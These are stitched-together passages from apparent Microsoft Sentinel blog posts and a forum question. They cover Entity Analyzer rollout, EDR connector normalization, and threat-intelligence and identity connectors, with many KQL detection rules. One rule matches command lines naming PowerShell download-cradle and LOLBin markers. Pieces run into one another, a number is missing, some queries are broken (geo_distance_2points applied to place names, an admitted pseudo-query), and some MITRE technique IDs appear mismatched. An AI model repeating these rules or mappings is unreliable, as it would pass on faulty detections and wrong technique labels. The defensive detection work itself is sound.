playbook, extract entities, invoke Entity Analyzer, and post the verdict back to the incident as a comment or decision artifact. The concurrency lesson most people will learn the hard way Unusually direct guidance on concurrency: to avoid timeouts and threshold issues, turn on Concurrency control in Logic Apps loops and start with a degree of parallelism of . The data exploration doc repeats the same guidance, stating that running multiple instances at once can increase latency and recommending starting with a maximum of five concurrent analyses. This is a strong indicator that the correct implementation pattern is selective analysis, not blanket analysis. Do not analyze every entity in every incident. Analyze the entities that matter most: external URLs in phishing or delivery chains accounts tied to high-confidence alerts entities associated with high-severity or high-impact incidents suspicious users with multiple correlated signals That keeps latency, quota pressure, and SCU consumption under control. KQL still matters Entity Analyzer does not eliminate KQL. It changes where KQL adds value. Before running the analyzer, KQL is still useful for scoping and selecting the right entities. After the analyzer returns, KQL is useful for validation, deeper hunting, and building custom evidence views around the analyzer’s verdict. For example, a simple sign-in baseline for a target user: let TargetUpn = "email address removed for privacy reasons"; SigninLogs | where TimeGenerated between (ago(7d) .. now()) | where UserPrincipalName == TargetUpn | summarize Total=count(), Failures=countif(ResultType != "0"), Successes=countif(ResultType == "0"), DistinctIPs=dcount(IPAddress), Apps=make_set(AppDisplayName, 20) by bin(TimeGenerated, 1d) | order by TimeGenerated desc And a lightweight URL prevalence check: let TargetUrl = "omicron-obl.com"; UrlClickEvents | where TimeGenerated between (ago(7d) .. now()) | search TargetUrl | take 50 Cost, billing, and governance GA is where technical excitement meets budget reality. Microsoft’s Sentinel billing documentation says there is no extra cost for the MCP server interface itself. However, for Entity Analyzer, customers are charged for the SCUs used for AI reasoning and also for the KQL queries executed against the Microsoft Sentinel data lake. Microsoft further states that existing Security Copilot entitlements apply The April 2026 “What’s new” entry also explicitly says that starting April 1, 2026, customers are charged for the SCUs required when using Entity Analyzer. That means every rollout should include a governance plan: define who can invoke the analyzer decide when playbooks are allowed to call it monitor SCU consumption limit unnecessary repeat runs preserve results in incident records so you do not rerun the same analysis within a short period Microsoft’s MCP billing documentation also defines service limits: 200 total runs per hour, 500 total runs per day, and around 15 concurrent runs every five minutes, with analysis results available for one hour. Those are not just product limits. They are design requirements. Limitations you should state clearly The analyze_user_entity supports a maximum time window of seven days and only works for users with a Microsoft Entra object ID. On-premises Active Directory-only users are not supported for user analysis. Microsoft also says Entity Analyzer results expire after one hour and that the tool collection currently supports English prompts only. Recommended rollout pattern If I were implementing this in a production SOC, I would phase it like this: Start with a narrow set of high-value use cases, such as suspicious user identities and phishing-related URLs. Confirm that the required tables are present in the data lake. Deploy a Logic App enrichment pattern for incident-triggered analysis. Add concurrency control and retry logic. Persist returned verdicts into incident comments or case notes. Then review SCU usage and analyst value before expanding coverage.
Why there is no Signature status for the new process in the DeviceProcessEvent table?
According to the schema, there is only field for checking the initiating (parent) process digital signature, named InitiatingProcessSignatureStatus. So we have information if the process that initiated the execution is signed. However, in many security use-cases it is important to know if the spawned (child) process is digitally signed. Let's assume that Winword.exe (signed) executed unsigned binary - this is definitely different situation than Winword.exe executing some signed binary (although both may be suspicious, or legitimate). I feel that some valuable information is not provided, and I'd like to know the reason. Is it related to the logging performance? Or some memory structures, that are present only for the already existing process?Endpoint and EDR Ecosystem Connectors in Microsoft Sentinel
Most SOCs operate in mixed endpoint environments. Even if Microsoft Defender for Endpoint is your primary EDR, you may still run Cisco Secure Endpoint, WithSecure Elements, Knox, or Lookout in specific regions, subsidiaries, mobile fleets, or regulatory enclaves. The goal is not to replace any tool, but to standardize how signals become detections and response actions. This article explains an engineering-first approach: ingestion correctness, schema normalization, entity mapping, incident merging, and cross-platform response orchestration. Think of these connectors as four different lenses on endpoint risk. Two provide classic EDR detections (Cisco, WithSecure). Two provide mobile security and posture signals (Knox, Lookout). The highest-fidelity outcomes come from correlating them with Microsoft signals (Defender for Endpoint device telemetry, Entra ID sign-ins, and threat intelligence). Cisco Secure Endpoint Typical signal types include malware detections, exploit prevention events, retrospective detections, device isolation actions, and file/trajectory context. Cisco telemetry is often hash-centric (SHA256, file reputation) which makes it excellent for IOC matching and cross-EDR correlation. WithSecure Elements WithSecure Elements tends to provide strong behavioral detections and ransomware heuristics, often including process ancestry and behavioral classification. It complements hash-based detections by providing behavior and incident context that can be joined to Defender process events. Samsung Knox Asset Intelligence Knox is posture-heavy. Typical signals include compliance state, encryption status, root/jailbreak indicators, patch level, device model identifiers and policy violations. This data is extremely useful for identity correlation: it helps answer whether a successful sign-in came from a device that should be trusted. Lookout Mobile Threat Defense Lookout focuses on mobile threats such as malicious apps, phishing, risky networks (MITM), device compromise indicators, and risk scores. Lookout signals are critical for identity attack chains because mobile phishing is often the precursor to token theft or credential reuse. 2. Ingestion architecture: from vendor API to Sentinel tables Most third‑party connectors are API-based. In production, treat ingestion as a pipeline with reliability requirements. The standard pattern is vendor API → connector runtime (codeless connector or Azure Function) → DCE → DCR transform → Log Analytics table. Key engineering controls: Secrets and tokens should be stored in Azure Key Vault where supported; rotate and monitor auth failures. Use overlap windows (poll slightly more than the schedule interval) and deduplicate by stable event IDs. Use DCR transforms to normalize fields early (device/user/IP/severity) and to filter obviously low-value noise. Monitor connector health and ingestion lag; do not rely on ‘Connected’ status alone. Ingestion health checks (KQL) // Freshness & lag per connector table (adapt table names to your workspace) let lookback = 24h union isfuzzy=true (<CiscoTable> | extend Source="Cisco"), (<WithSecureTable> | extend Source="WithSecure"), (<KnoxTable> | extend Source="Knox"), (<LookoutTable> | extend Source="Lookout") | where TimeGenerated > ago(lookback) | summarize LastEvent=max(TimeGenerated), Events=count() by Source | extend IngestDelayMin = datetime_diff("minute", now(), LastEvent) | order by IngestDelayMin desc // Schema discovery (run after onboarding and after connector updates) Cisco | take 1 | getschema WithSecureTable | take 1 | getschema Knox | take 1 | getschema Lookout | take 1 | getschema 3. Normalization: make detections vendor-agnostic The most common failure mode in multi-EDR SOCs is writing separate rules per vendor. Instead, build one normalization function that outputs a stable schema. Then write rules once. Recommended canonical fields: Vendor, AlertId, EventTime, SeverityNormalized DeviceName (canonical), AccountUpn (canonical), SourceIP FileHash (when applicable), ThreatName/Category CorrelationKey (stable join key such as DeviceName + FileHash or DeviceName + AlertId) // Example NormalizeEndpoint() pattern. Replace column_ifexists(...) mappings after getschema(). let NormalizeEndpoint = () { union isfuzzy=true ( Cisco | extend Vendor="Cisco" | extend DeviceName=tostring(column_ifexists("hostname","")), AccountUpn=tostring(column_ifexists("user","")), SourceIP=tostring(column_ifexists("ip","")), FileHash=tostring(column_ifexists("sha256","")), ThreatName=tostring(column_ifexists("threat_name","")), SeverityNormalized=tolower(tostring(column_ifexists("severity",""))) ), ( WithSecure | extend Vendor="WithSecure" | extend DeviceName=tostring(column_ifexists("hostname","")), AccountUpn=tostring(column_ifexists("user","")), SourceIP=tostring(column_ifexists("ip","")), FileHash=tostring(column_ifexists("file_hash","")), ThreatName=tostring(column_ifexists("classification","")), SeverityNormalized=tolower(tostring(column_ifexists("risk_level",""))) ), ( Knox | extend Vendor="Knox" | extend DeviceName=tostring(column_ifexists("device_id","")), AccountUpn=tostring(column_ifexists("user","")), SourceIP="", FileHash="", ThreatName=strcat("Device posture: ", tostring(column_ifexists("compliance_state",""))), SeverityNormalized=tolower(tostring(column_ifexists("risk",""))) ), ( Lookout | extend Vendor="Lookout" | extend DeviceName=tostring(column_ifexists("device_id","")), AccountUpn=tostring(column_ifexists("user","")), SourceIP=tostring(column_ifexists("source_ip","")), FileHash="", ThreatName=tostring(column_ifexists("threat_type","")), SeverityNormalized=tolower(tostring(column_ifexists("risk_level",""))) ) | extend CorrelationKey = iff(isnotempty(FileHash), strcat(DeviceName, "|", FileHash), strcat(DeviceName, "|", ThreatName)) | project TimeGenerated, Vendor, DeviceName, AccountUpn, SourceIP, FileHash, ThreatName, SeverityNormalized, CorrelationKey, * } 4. Entity mapping and incident merging Sentinel’s incident experience improves dramatically when alerts include entity mapping. Map Host, Account, IP, and File (hash) where possible. Incident grouping should merge alerts by DeviceName and AccountUpn within a reasonable window (e.g., 6–24 hours) to avoid alert storms. 5. Correlation patterns that raise confidence High-confidence detections come from confirmation across independent sensors. These patterns reduce false positives while catching real compromise chains. 5.1 Multi-vendor confirmation (two EDRs agree) NormalizeEndpoint() | where TimeGenerated > ago(24h) | summarize Vendors=dcount(Vendor), VendorSet=make_set(Vendor, 10) by DeviceName | where Vendors >= 2 5.2 Third-party detection confirmed by Defender process telemetry let tp = NormalizeEndpoint() | where TimeGenerated > ago(6h) | where ThreatName has_any ("powershell","ransom","credential","exploit") | project TPTime=TimeGenerated, DeviceName, AccountUpn, Vendor, ThreatName tp | join kind=inner ( DeviceProcessEvents | where Timestamp > ago(6h) | where ProcessCommandLine has_any ("EncodedCommand","IEX","FromBase64String","rundll32","regsvr32") | project MDETime=Timestamp, DeviceName=tostring(DeviceName), Proc=ProcessCommandLine ) on DeviceName | where MDETime between (TPTime .. TPTime + 30m) | project TPTime, MDETime, DeviceName, Vendor, ThreatName, Proc 5.3 Mobile phishing signal followed by successful sign-in let mobile = NormalizeEndpoint() | where TimeGenerated > ago(24h) | where Vendor == "Lookout" and ThreatName has "phish" | project MTDTime=TimeGenerated, AccountUpn, DeviceName, SourceIP mobile | join kind=inner ( SigninLogs | where TimeGenerated > ago(24h) | where ResultType == 0 | project SigninTime=TimeGenerated, AccountUpn=tostring(UserPrincipalName), IPAddress, AppDisplayName ) on AccountUpn | where SigninTime between (MTDTime .. MTDTime + 30m) | project MTDTime, SigninTime, AccountUpn, DeviceName, SourceIP, IPAddress, AppDisplayName 5.4 Knox posture and high-risk sign-in let noncompliant = NormalizeEndpoint() | where TimeGenerated > ago(7d) | where Vendor=="Knox" and ThreatName has "NonCompliant" | project DeviceName, AccountUpn, KnoxTime=TimeGenerated noncompliant | join kind=inner ( SigninLogs | where TimeGenerated > ago(7d) | where RiskLevelDuringSignIn in ("high","medium") | project SigninTime=TimeGenerated, AccountUpn=tostring(UserPrincipalName), RiskLevelDuringSignIn, IPAddress ) on AccountUpn | where SigninTime between (KnoxTime .. KnoxTime + 2h) | project KnoxTime, SigninTime, AccountUpn, DeviceName, RiskLevelDuringSignIn, IPAddress 6. Response orchestration (SOAR) design Response should be consistent across vendors. Use a scoring model to decide whether to isolate a device, revoke tokens, or enforce Conditional Access. Prefer reversible actions, and log every automation step for audit. 6.1 Risk scoring to gate playbooks let SevScore = (s:string) { case(s=="critical",5,s=="high",4,s=="medium",2,1) } NormalizeEndpoint() | where TimeGenerated > ago(24h) | extend Score = SevScore(SeverityNormalized) | summarize RiskScore=sum(Score), Alerts=count(), Vendors=make_set(Vendor, 10) by DeviceName, AccountUpn | where RiskScore >= 8 | order by RiskScore desc High-severity playbooks typically execute: (1) isolate device via Defender (if onboarded), (2) revoke tokens in Entra ID, (3) trigger Conditional Access block, (4) notify and open ITSM ticket. Medium-severity playbooks usually tag the incident, add watchlist entries, and notify analysts.Threat Intelligence & Identity Ecosystem Connectors
Microsoft Sentinel’s capability can be greatly enhanced by integrating third-party threat intelligence (TI) feeds (e.g. GreyNoise, Team Cymru) with identity and access logs (e.g. OneLogin, PingOne). This article provides a detailed dive into each connector, data types, and best practices for enrichment and false-positive reduction. We cover how GreyNoise (including PureSignal/Scout), Team Cymru, OneLogin IAM, PingOne, and Keeper integrate with Sentinel – including available connectors, ingested schemas, and configuration. We then outline technical patterns for building TI-based lookup pipelines, scoring, and suppression rules to filter benign noise (e.g. GreyNoise’s known scanners), and enrich alerts with context from identity logs. We map attack chains (credential stuffing, lateral movement, account takeover) to Sentinel data, and propose KQL analytics rules and playbooks with MITRE ATT&CK mappings (e.g. T1110: Brute Force, T1595: Active Scanning). The report also includes guidance on deployment (ARM/Bicep examples), performance considerations for high-volume TI ingestion, and comparison tables of connector features. A mermaid flowchart illustrates the data flow from TI and identity sources into Sentinel analytics. All recommendations are drawn from official documentation and industry sources. Threat Intel & Identity Connectors Overview GreyNoise (TI Feed): GreyNoise provides “internet background noise” intelligence on IPs seen scanning or probing the Internet. The Sentinel GreyNoise Threat Intelligence connector (Azure Marketplace) pulls data via GreyNoise’s API into Sentinel’s ThreatIntelligenceIndicator table. It uses a daily Azure Function to fetch indicators (IP addresses and metadata like classification, noise, last_seen) and injects them as STIX-format indicators (Network IPs with provider “GreyNoise”). This feed can then be queried in KQL. Authentication requires a GreyNoise API key and a Sentinel workspace app with Contributor rights. GreyNoise’s goal is to help “filter out known opportunistic traffic” so analysts can focus on real threats. Official docs describe deploying the content pack and workbook template. Ingested data: IP-based indicators (malicious vs. benign scans), classifications (noise, riot, etc.), organization names, last-seen dates. All fields from GreyNoise’s IP lookup (e.g. classification, last_seen) appear in ThreatIntelligenceIndicator.NetworkDestinationIP, IndicatorProvider="GreyNoise", and related fields. Query: ThreatIntelligenceIndicator | where IndicatorProvider == "GreyNoise" | summarize arg_max(TimeGenerated, *) by NetworkDestinationIP This yields the latest GreyNoise record per IP. Team Cymru Scout (TI Context): Team Cymru’s PureSignal™ Scout is a TI enrichment platform. The Team Cymru Scout connector (via Azure Marketplace) ingests contextual data (not raw logs) about IPs, domains, and account usage into Sentinel custom tables. It runs via an Azure Function that, given IP or domain inputs, populates tables like Cymru_Scout_IP_Data_* and Cymru_Scout_Domain_Data_CL. For example, an IP query yields multiple tables: Cymru_Scout_IP_Data_Foundation_CL, ..._OpenPorts_CL, ..._PDNS_CL, etc., containing open ports, passive DNS history, X.509 cert info, fingerprint data, etc. This feed requires a Team Cymru account (username/password) to access the Scout API. Data types: Structured TI metadata by IP/domain. No native ThreatIndicator insertion; instead, analysts query these tables to enrich events (e.g. join on SourceIP). The Sentintel TechCommunity notes that Scout “enriches alerts with real-time context on IPs, domains, and adversary infrastructure” and can help “reduce false positives”. OneLogin IAM (Identity Logs): The OneLogin IAM solution (Microsoft Sentinel content pack) ingests OneLogin platform events and user info via OneLogin’s REST API. Using the Codeless Connector Framework, it pulls from OneLogin’s Events API and Users API, storing data in custom tables OneLoginEventsV2_CL and OneLoginUsersV2_CL. Typical events include user sign-ins, MFA actions, app accesses, admin changes, etc. Prerequisites: create an OpenID Connect app in OneLogin (for client ID/secret) and register it in Azure (Global Admin). The connector queries hourly (or on schedule), within OneLogin’s rate limit of 5000 calls/hour. Data mapping: OneLoginEventsV2_CL (CL suffix indicates custom log) holds event records (time, user, IP, event type, result, etc.); OneLoginUsersV2_CL contains user account attributes. These can be joined or used in analytics. For example, a query might look for failed login events: OneLoginEventsV2_CL | where Event_type_s == "UserSessionStart" and Result_s == "Failed" (Actual field names depend on schema.) PingOne (Identity Logs): The PingOne Audit connector ingests audit activity from the PingOne Identity platform via its REST API. It creates the table PingOne_AuditActivitiesV2_CL. This includes administrator actions, user logins, console events, etc. You configure a PingOne API client (Client ID/Secret) and set up the Codeless Connector Framework. Logs are retrieved (with attention to PingOne’s license-based rate limits) and appended to the custom table. Analysts can query, for instance, PingOne_AuditActivitiesV2_CL for events like MFA failures or profile changes. Keeper (Password Vault Logs – optional): Keeper, a password management platform, can forward security events to Sentinel via Azure Monitor. As of latest docs, logs are sent to a custom log table (commonly KeeperLogs_CL) using Azure Data Collection Rules. In Keeper’s guide, you register an Azure AD app (“KeeperLogging”) and configure Azure Monitor data collection; then in the Keeper Admin Console you specify the DCR endpoint. Keeper events (e.g. user logins, vault actions, admin changes) are ingested into the table named (e.g.) Custom-KeeperLogs_CL. Authentication uses the app’s client ID/secret and a monitor endpoint URL. This is a bulk ingest of records, rather than a scheduled pull. Data ingested: custom Keeper events with fields like user, action, timestamp. Keeper’s integration is essentially via Azure Monitor (in the older Azure Sentinel approach). Connector Configuration & Data Ingestion Authentication and Rate Limits: Most connectors require API keys or OAuth credentials. GreyNoise and Team Cymru use single keys/credentials, with the Azure Function secured by a Managed Identity. OneLogin and PingOne use client ID/secret and must respect their API limits (OneLogin ~5k calls/hour; PingOne depends on licensing). GreyNoise’s enterprise API allows bulk lookups; the community API is limited (10/day for free), so production integration requires an Enterprise plan. Sentinel Tables: Data is inserted either into built-in tables or custom tables. GreyNoise feeds the ThreatIntelligenceIndicator table, populating fields like NetworkDestinationIP and ThreatSeverity (higher if classified “malicious”). Team Cymru’s Scout connector creates many Cymru_Scout_*_CL tables. OneLogin’s solution populates OneLoginEventsV2_CL and OneLoginUsersV2_CL. PingOne yields PingOne_AuditActivitiesV2_CL. Keeper logs appear in a custom table (e.g. KeeperLogs_CL) as shown in Keeper’s guide. Note: Sentinel’s built-in identity tables (IdentityInfo, SigninLogs) are typically for Microsoft identities; third-party logs can be mapped to them via parsers or custom analytic rules but by default arrive in these custom tables. Data Types & Schema: Threat Indicators: In ThreatIntelligenceIndicator, GreyNoise IPs appear as NetworkDestinationIP with associated fields (e.g. ThreatSeverity, IndicatorProvider="GreyNoise", ConfidenceScore, etc.). (Future STIX tables may be used after 2025.) Custom CL Logs: OneLogin events may include fields such as user_id_s, user_login_s, client_ip_s, event_time, etc. (The published parser issues indicate fields like app_name_s, role_id_d, etc.) PingOne logs include eventType, user, clientIP, result. Keeper logs contain Action, UserName, etc. These raw fields can be normalized in analytic rules or parsed by data transformations. Identity Info: Although not directly ingested, identity attributes from OneLogin/PingOne (e.g. user roles, group IDs) could be periodically fetched and synced to Sentinel (via custom logic) to populate IdentityInfo records, aiding user-centric hunts. Configuration Steps : GreyNoise: In Sentinel Content Hub, install the GreyNoise ThreatIntel solution. Enter your GreyNoise API key when prompted. The solution deploys an Azure Function (requires write access to Functions) and sets up an ingestion schedule. Verify the ThreatIntelligenceIndicator table is receiving GreyNoise entries Team Cymru: From Marketplace install “Team Cymru Scout”. Provide Scout credentials. The solution creates an Azure Function app. It defines a workflow to ingest or lookup IPs/domains. (Often, analysts trigger lookups rather than scheduled ingestion, since Scout is lookup-based.) Ensure roles: the Function’s managed identity needs Sentinel contributor rights. OneLogin: Use the Data Connectors UI. Authenticate OneLogin by creating a new Sentinel Web API authentication (with OneLogin’s client ID/secret). Enable both “OneLogin Events” and “OneLogin Users”. No agent is needed. After setup, data flows into OneLoginEventsV2_CL. PingOne: Similarly, configure the PingOne connector. Use the PingOne administrative console to register an OAuth client. In Sentinel’s connector blade, enter the client ID/secret and specify desired log types (Audit, maybe IDP logs). Confirm PingOne_AuditActivitiesV2_CL populates hourly. Keeper: Register an Azure AD app (“KeeperLogging”) and assign it Monitoring roles (Publisher/Contributor) to your workspace and data collection endpoint. Create an Azure Data Collection Rule (DCR) and table (e.g. KeeperLogs_CL). In Keeper’s Admin Console (Reporting & Alerts → Azure Monitor), enter the tenant ID, client ID/secret, and the DCR endpoint URL (format: https://<DCE>/dataCollectionRules/<DCR_ID>/streams/<table>?api-version=2023-01-01). Keeper will then push logs. KQL Lookup: To enrich a Sentinel event with these feeds, you might write: OneLoginEventsV2_CL | where EventType == "UserLogin" and Result == "Success" | extend UserIP = ClientIP_s | join kind=inner ( ThreatIntelligenceIndicator | where IndicatorProvider == "GreyNoise" and ThreatSeverity >= 3 | project NetworkDestinationIP, Category ) on $left.UserIP == $right.NetworkDestinationIP This joins OneLogin sign-ins with GreyNoise’s list of malicious scanners. Enrichment & False-Positive Reduction IOC Enrichment Pipelines: A robust TI pipeline in Sentinel often uses Lookup Tables and Functions. For example, ingested TI (from GreyNoise or Team Cymru) can be stored in reference data or scheduled lookup tables to enrich incoming logs. Patterns include: - Normalization: Normalize diverse feeds into common STIX schema fields (e.g. all IPs to NetworkDestinationIP, all domains to DomainName) so rules can treat them uniformly. - Confidence Scoring: Assign a confidence score to each indicator (from vendor or based on recency/frequency). For GreyNoise, for instance, you might use classification (e.g. “malicious” vs. “benign”) and history to score IP reputation. In Sentinel’s ThreatIntelligenceIndicator.ConfidenceScore field you can set values (higher for high-confidence IOCs, lower for noisy ones). - TTL & Freshness: Some indicators (e.g. active C2 domains) expire, so setting a Time-To-Live is critical. Sentinel ingestion rules or parsers should use ExpirationDateTime or ValidUntil on indicators to avoid stale IOCs. For example, extend ValidUntil only if confidence is high. - Conflict Resolution: When the same IOC comes from multiple sources (e.g. an IP in both GreyNoise and TeamCymru), you can either merge metadata or choose the highest confidence. One approach: use the highest threat severity from any source. Sentinel’s ThreatType tags (e.g. malicious-traffic) can accommodate multiple providers. False-Positive Reduction Techniques: - GreyNoise Noise Scoring: GreyNoise’s primary utility is filtering. If an IP is labeled noise=true (i.e. just scanning, not actively malicious), rules can deprioritize alerts involving that IP. E.g. suppress an alert if its source IP appears in GreyNoise as benign scanner. - Team Cymru Reputation: Use Scout data to gauge risk; e.g. if an IP’s open port fingerprint or domain history shows no malicious tags, it may be low-risk. Conversely, known hostile IP (e.g. seen in ransomware networks) should raise alert level. Scout’s thousands of context tags help refine a binary IOC. - Contextual Identity Signals: Leverage OneLogin/PingOne context to filter alerts. For instance, if a sign-in event is associated with a high-risk location (e.g. new country) and the IP is a GreyNoise scan, flag it. If an IP is marked benign, drop or suppress. Correlate login failures: if a single IP causes many failures across multiple users, it might be credential stuffing (T1110) – but if that IP is known benign scanner, consider it low priority. - Thresholding & Suppression: Build analytic suppression rules. Example: only alert on >5 failed logins in 5 min from IP and that IP is not noise. Or ignore DNS queries to domains that TI flags as benign/whitelisted. Apply tag-based rules: some connectors allow tagging known internal assets or trusted scan ranges to avoid alerts. Use GreyNoise to suppress alerts: SecurityEvent | where EventID == 4625 and Account != "SYSTEM" | join kind=leftanti ( ThreatIntelligenceIndicator | where IndicatorProvider == "GreyNoise" and Classification == "benign" | project NetworkSourceIP ) on $left.IPAddress == $right.NetworkSourceIP This rule filters out Windows 4625 login failures originating from GreyNoise-known benign scanners. Identity Attack Chains & Detection Rules Modern account attacks often involve sequential activities. By combining identity logs with TI, we can detect advanced patterns. Below are common chains and rule ideas: Credential Stuffing (MITRE T1110): Often seen as many login failures followed by a success. Detection: Look for multiple failed OneLogin/PingOne sign-ins for the same or different accounts from a single IP, then a success. Enrich with GreyNoise: if the source IP is in GreyNoise (indicating scanning), raise severity. Rule: let SuspiciousIP = OneLoginEventsV2_CL | where EventType == "UserSessionStart" and Result == "Failed" | summarize CountFailed=count() by ClientIP_s | where CountFailed > 5; OneLoginEventsV2_CL | where EventType == "UserSessionStart" and Result == "Success" and ClientIP_s in (SuspiciousIP | project ClientIP_s) | join kind=inner ( ThreatIntelligenceIndicator | where ThreatType == "ip" | extend GreyNoiseClass = tostring(Classification) | project IP=NetworkSourceIP, GreyNoiseClass ) on $left.ClientIP_s == $right.IP | where GreyNoiseClass == "malicious" | project TimeGenerated, Account_s, ClientIP_s, GreyNoiseClass Tactics: Initial Access (T1110) – Severity: High. Account Takeover / Impossible Travel (T1198): Sign-ins from unusual geographies or devices. Detection: Compare user’s current sign-in location against historical baseline. Use OneLogin/PingOne logs: if two logins by same user occur in different countries with insufficient time to travel, trigger. Enrich: if the login IP is also known infrastructure (Team Cymru PDNS, etc.), raise alert. Rule: PingOne_AuditActivitiesV2_CL | where EventType_s == "UserLogin" | extend loc = tostring(City_s) + ", " + tostring(Country_s) | sort by TimeGenerated desc | partition by User_s ( where TimeGenerated < ago(24h) // check last day | summarize count(), min(TimeGenerated), max(TimeGenerated) ) | where max_TimeGenerated - min_TimeGenerated < 1h and count_>1 and (range(loc) contains ",") | project User_s, TimeGenerated, loc (This pseudo-query checks multiple locations in <1 hour.) Tactics: Reconnaissance / Initial Access – Severity: Medium. Lateral Movement (T1021): Use of an account on multiple systems/apps. Detection: Two or more distinct application/service authentications by same user within a short time. Use OneLogin app-id fields or audit logs for access. If these are followed by suspicious network activity (e.g. contacting C2 via GreyNoise), escalate. Tactics: Lateral Movement – Severity: High. Privilege Escalation (T1098): If an admin account is changed or MFA factors reset in OneLogin/PingOne, especially after anomalous login. Detection: Monitor OneLogin admin events (“User updated”, “MFA enrolled/removed”). Cross-check the actor’s IP against threat feeds. Tactics: Credential Access – Severity: High. Analytics Rules (KQL) Below are six illustrative Sentinel analytics rules combining TI and identity logs. Each rule shows logic, tactics, severity, and MITRE IDs. (Adjust field names per your schemas and normalize CL tables as needed.) Multiple Failed Logins from Malicious Scanner (T1110) – High severity. Detect credential stuffing by identifying >5 failed login attempts from the same IP, where that IP is classified as malicious by GreyNoise. let BadIP = OneLoginEventsV2_CL | where EventType == "UserSessionStart" and Result == "Failed" | summarize attempts=count() by SourceIP_s | where attempts >= 5; OneLoginEventsV2_CL | where EventType == "UserSessionStart" and Result == "Success" and SourceIP_s in (BadIP | project SourceIP_s) | join ( ThreatIntelligenceIndicator | where IndicatorProvider == "GreyNoise" and ThreatSeverity >= 4 | project MaliciousIP=NetworkDestinationIP ) on $left.SourceIP_s == $right.MaliciousIP | extend AttackFlow="CredentialStuffing", MITRE="T1110" | project TimeGenerated, UserName_s, SourceIP_s, MaliciousIP Logic: Correlate failed-then-success login from same IP plus GreyNoise-malign classification. Impossible Travel / Anomalous Geo (T1198) – Medium severity. A user signs in from two distant locations within an hour. // Get last two logins per user let lastLogins = PingOne_AuditActivitiesV2_CL | where EventType_s == "UserLogin" and Outcome_s == "Success" | sort by TimeGenerated desc | summarize first_place=arg_max(TimeGenerated, City_s, Country_s, SourceIP_s, TimeGenerated) by User_s; let prevLogins = PingOne_AuditActivitiesV2_CL | where EventType_s == "UserLogin" and Outcome_s == "Success" | sort by TimeGenerated desc | summarize last_place=arg_min(TimeGenerated, City_s, Country_s, SourceIP_s, TimeGenerated) by User_s; lastLogins | join kind=inner prevLogins on User_s | extend dist=geo_distance_2points(first_place_City_s, first_place_Country_s, last_place_City_s, last_place_Country_s) | where dist > 1000 and (first_place_TimeGenerated - last_place_TimeGenerated) < 1h | project Time=first_place_TimeGenerated, User=User_s, From=last_place_Country_s, To=first_place_Country_s, MITRE="T1198" Logic: Compute geographic distance between last two logins; flag if too far too fast. Suspicious Admin Change (T1098) – High severity. Detect a change to admin settings (like role assign or MFA reset) via PingOne, from a high-risk IP (Team Cymru or GreyNoise) or after failed logins. PingOne_AuditActivitiesV2_CL | where EventType_s in ("UserMFAReset", "UserRoleChange") // example admin events | extend ActorIP = tostring(InitiatingIP_s) | join ( ThreatIntelligenceIndicator | where ThreatSeverity >= 3 | project BadIP=NetworkDestinationIP ) on $left.ActorIP == $right.BadIP | extend MITRE="T1098" | project TimeGenerated, ActorUser_s, Action=EventType_s, ActorIP Logic: Raise if an admin action originates from known bad IP. Malicious Domain Access (T1498): Medium severity. Internal logs (e.g. DNS or Web proxy) show access to a domain listed by Team Cymru Scout as C2 or reconnaissance. DeviceDnsEvents | where QueryType == "A" | join kind=inner ( Cymru_Scout_Domain_Data_CL | where ThreatTag_s == "Command-and-Control" | project DomainName_s ) on $left.QueryText == $right.DomainName_s | extend MITRE="T1498" | project TimeGenerated, DeviceName, QueryText Logic: Correlate internal DNS queries with Scout’s flagged C2 domains. (Requires that domain data is ingested or synced.) Brute-Force Firewall Blocked IP (T1110): Low to Medium severity. Firewall logs show an IP blocked for many attempts, and that IP is not noise per GreyNoise (i.e., malicious scanner). AzureDiagnostics | where Category == "NetworkSecurityGroupFlowEvent" and msg_s contains "DIRECTION=Inbound" and Action_s == "Deny" | summarize attemptCount=count() by IP = SourceIp_s, FlowTime=bin(TimeGenerated, 1h) | where attemptCount > 50 | join kind=leftanti ( ThreatIntelligenceIndicator | where IndicatorProvider == "GreyNoise" and Classification == "benign" | project NoiseIP=NetworkDestinationIP ) on $left.IP == $right.NoiseIP | extend MITRE="T1110" | project IP, attemptCount, FlowTime Logic: Many inbound denies (possible brute force) from an IP not whitelisted by GreyNoise. New Device Enrolled (T1078): Low severity. A user enrolls a new device or location for MFA after unusual login. OneLoginEventsV2_CL | where EventType == "NewDeviceEnrollment" | join kind=inner ( OneLoginEventsV2_CL | where EventType == "UserSessionStart" and Result == "Success" | top 1 by TimeGenerated asc // assume prior login | project User_s, loginTime=TimeGenerated, loginIP=ClientIP_s ) on User_s | where loginIP != DeviceIP_s | extend MITRE="T1078" | project TimeGenerated, User_s, DeviceIP_s, loginIP Logic: Flag if new device added (strong evidence of account compromise). Note: The above rules are illustrative. Tune threshold values (e.g. attempt counts) to your environment. Map the event fields (EventType, Result, etc.) to your actual schema. Use Severity mapping in rule configs as indicated and tag with MITRE IDs for context. TI-Driven Playbooks and Automation Automated response can amplify TI. Patterns include: - IOC Blocking: On alert (e.g. suspicious IP login), an automation runbook can call Azure Firewall, Azure Defender, or external firewall APIs to block the offending IP. For instance, a Logic App could trigger on the analytic alert, use the TI feed IP, and call AzFWNetworkRule PowerShell to add a deny rule. - Enrichment Workflow: After an alert triggers, an Azure Logic App playbook can enrich the incident by querying TI APIs. E.g., given an IP from the alert, call GreyNoise API or Team Cymru Scout API in real-time (via HTTP action), add the classification into incident details, and tag the incident accordingly (e.g. GreyNoiseStatus: malicious). This adds context for the analyst. - Alert Suppression: Implement playbook-driven suppression. For example, an alert triggered by an external IP can invoke a playbook that checks GreyNoise; if the IP is benign, the playbook can auto-close the alert or mark as false-positive, reducing analyst load. - Automated TI Feed Updates: Periodically fetch open-source or commercial TI and use a playbook to push new indicators into Sentinel’s TI store via the Graph API. - Incident Enrichment: On incident creation, a playbook could query OneLogin/PingOne for additional user details (like department or location via their APIs) and add as note in the incident. Performance, Scalability & Costs TI feeds and identity logs can be high-volume. Key considerations: - Data Ingestion Costs: Every log and TI indicator ingested into Sentinel is billable by the GB. Bulk TI indicator ingestion (like GreyNoise pulling thousands of IPs/day) can add storage costs. Use Sentinel’s Data Collection Rules (DCR) to apply ingestion-time filters (e.g. only store indicators above a confidence threshold) to reduce volume. GreyNoise feed is typically modest (since it’s daily, maybe thousands of IPs). Identity logs (OneLogin/PingOne) depend on org size – could be megabytes per day. Use sentinel ingestion sl analytic filters to drop low-value logs. - Query Performance: Custom log tables (OneLogin, PingOne, KeeperLogs_CL) can grow large. Periodically archive old data (e.g. export >90 days to storage, then purge). Use materialized views or scheduled summary tables for heavy queries (e.g. pre-aggregate hourly login counts). For threat 